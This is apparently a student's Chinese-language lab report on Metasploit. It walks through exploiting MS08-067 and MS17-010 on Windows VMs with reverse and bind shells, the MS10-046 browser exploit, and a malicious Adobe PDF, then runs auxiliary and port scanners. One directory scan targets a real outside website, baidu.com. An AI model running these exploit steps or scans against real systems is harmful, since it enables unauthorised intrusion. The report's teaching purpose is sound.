1.实验目标与基础知识
1.1 实践对象
- Kali Linux
- Windows XP
- Windows 7
1.2 实践内容
- 成功主动攻击,如 ms08-067
- 成功针对浏览器的攻击,如 ms11-050
- 成功针对客户端的攻击,如 Adobe
- 成功应用辅助模块的攻击
1.3 基础知识
(1)msf 模块说明
- Exploit模块:渗透攻击模块,利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
- Payload模块:在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。
- Encoder模块:在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。
- Auxiliary模块:能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
- Post模块:支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
- Nop模块:空字段模块
(2)msf常用漏洞利用命令
-
search name
:用指定关键字搜索可以利用的漏洞模块 -
use exploit name
:使用漏洞 -
:显示配置选项show options
-
set option name option
:设置选项 -
show payloads
:回链攻击载荷 -
: 显示目标(os版本)show targets
-
set TARGET target number
:设置目标版本 -
:开始漏洞攻击exploit
-
sessions -l
:列出会话 -
sessions -i id
:选择会话 -
sessions -k id
:结束会话 -
:把会话放到后台Ctrl+z
-
Ctrl+c
:结束会话 -
show auxiliary
:显示辅助模块 -
use auxiliary name
:使用辅助模块 -
set option name option
:设置选项 -
:运行模块exploit
2.靶机准备
- 攻击机:kali-linux-2020.1-vmware-amd64(192.168.145.131)
- 靶机:Windows XP Professional(192.168.145.132)
- 实验开始之前,首先测试靶机与攻击机之间能否 ping 通。
3.主动攻击
3.1 MS08-067 漏洞渗透攻击实践
(由于重装虚拟机,未能及时将文件名改为学号)
- 输入指令nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.145.132,攻击者试探靶机是否存在 ms08_067 漏洞。
- 输入msfconsole进入控制台,使用指令search ms08_067,指令查询一下针对该漏洞能够运用的攻击模块。
- 输入指令use exploit/windows/smb/ms08_067_netapi进入该攻击模块,使用show payloads查看能够使用的攻击载荷。
- 选择
shell_reverse_tcp
,输入指令set payload generic/shell_reverse_tcp
设置 payload 为反向 tcp 连接。 - 显示连接需要设置的参数show options
- 然后部署 payload 参数:
set RHOST 192.168.145.132 //设置靶机IP set LPORT 4323 //设置攻击机端口 set LHOST 192.168.145.131//设置攻击机IP exploit
- 成功回连。
3.2 MS17_010漏洞渗透攻击实践
- 输入指令nmap --script=vuln 192.168.145.133 ,查看 win7有什么漏洞可以利用。
- 输入
search ms17_010
指令查询一下针对该漏洞能够运用的攻击模块。
- 输入指令 exploit/windows/smb/ms17_010_eternalblue 进入该攻击模块,使用 show payloads 查看能够使用的攻击载荷。
- 选择windows/x64/meterpreter/bind_tcp ,输入指令
set payload windows/x64/meterpreter/bind_tcp
设置 payload 为绑定 tcp 连接。 - 然后部署参数:
set RHOST 192.168.145.133 //设置靶机IP set LPORT 4323 //设置攻击机端口 set LHOST 192.168.145.131 //设置攻击机IP exploit
- 回连成功。
4.针对浏览器的攻击
4.1 ms10_046 漏洞攻击
- 首先查看浏览器漏洞:cd/usr/share/metasploit-framework/modules/exploits/windows/browser
- 输入 ls 即可看到很多漏洞代码,选择ms10_046_shortcut_icon_dllloader.rb
- 启动msf,输入
search ms10_046
先找相关漏洞模块。
- 输入
use windows/browser/ms10_046_shortcut_icon_dllloader
,使用show payloads
查找有效攻击载荷。
- 设置参数:
set payload windows/meterpreter/reverse_tcp //选择攻击载荷 set LHOST 192.168.145.131 //设置攻击者IP set SRVHOST 192.168.145.131 //设置服务器IP(攻击者IP) exploit //进行攻击
- 在靶机用浏览器打开生成的链接:http://192.168.145.131:80/
5.针对客户端的攻击
- 启动 msf 输入search adobe 查询针对 adobe 攻击模块。
- 使用 msfconsole,
use windows/fileformat/adobe_cooltype_sing
设置模块。 - 输入show payloads 查找有效攻击载荷。
- 使用
set payload windows/meterpreter/bind_tcp
设置 payloads - 根据 options 设置相关参数:
set RHOST 192.168.145.132 //靶机ip set LPORT 4323 //攻击端口 exploit //生成pdf
- 使用指令将文件复制到主文件夹下 cp /root/.msf4/local/msf.pdf /root
- 将生成的 msf.pdf 复制到 Windows XP 中,msfconsole,
back
退出当前模块,进入监听模块。
use exploit/multi/handler //进入监听模块 set payload windows/meterpreter/bind_tcp //选择攻击载荷 set RHOST 192.168.145.132 //靶机IP set LPORT 4323 //攻击端口 exploit
- 在xp上打开文件,kali 里回连成功。
6.成功应用任何一个辅助模块
- msf 里输入
show auxiliary
查看所有的辅助模块。
- 选择 scanner/steam/server_info,输入
info scanner/steam/server_info
查看模块信息。
- 输入指令:
use scanner/steam/server_info /使用漏洞
set RHOSTS 192.168.145.131 /起始IP exploit /开始攻击
- 使用dir_scanner 搜索网站目录。
- 输人use auxiliary/scanner/http/dir_scanner ,设置模块。
- 设置参数:
set THREADS 50 set RHOSTS www.baidu.com exploit
-
dir_scanner 模块发现了百度网站目录的 cache http 状态码 200 ,表示请求成功。
-
端口扫描模块。
-
具体有以下几种扫描方式:
-
:通过 ACK 扫描的方式对防火墙上未被屏蔽的端口进行探测。auxiliary/scanner/portscan/ack
-
auxiliary/scanner/portscan/ftpbounce
:通过 FTP bounce 攻击的原理对 TCP 服务进行枚举,在一些旧的Solaris及FreeBSD系统的FTP服务中此类攻击方式仍能被利用。 -
auxiliary/scanner/portscan/syn
:使用发送 TCP SYN 标志的方式探测开放的端口。 -
auxiliary/scanner/portscan/tcp
:通过一次完整的 TCP 连接来判断端口是否开放。 -
auxiliary/scanner/portscan/xmas
:通过发送 FIN、PSH、URG 标志,相对而言较为隐蔽。
-
-
试试 tcp 扫描,通过一次完整的 TCP 连接来判断端口是否开放。
-
输入
use auxiliary/scanner/portscan/tcp
设置模块。 -
设置参数:
set RHOSTS 192.168.145.132 /靶机IP set THREADS 50 exploit
- 端口开放:
7.问题回答
Q:用自己的话解释什么是exploit,payload,encode?
A:exploit——是一个漏洞攻击的工具,可以用来将恶意代码、漏洞注入靶机中。
payload——是有效荷载,是用来真正实施攻击的恶意代码。
encode——是编码,相当于是给 payload 披一件外套,让杀软难以分辨。
8.实验心得
- 这次的实验没有太复杂的操作,逻辑也很清晰,但是由于我电脑配置不高,导致两个虚拟机同时运行时,电脑非常卡,绝大多数的时间花费在了配置环境上。从windowsXP Professional sp2到windows XP SP3(English),从IE 6.0到IE 7.0/8.0,Adobe Reader11到9,Office2010到2003,着实感受到了配置环境的艰辛,也体会到了metasploit攻击漏洞的专一性,对操作系统和软件版本都有细致的要求。必须要在特定环境和特定触发条件下才能成功。我想这也是与实践的差距之一吧。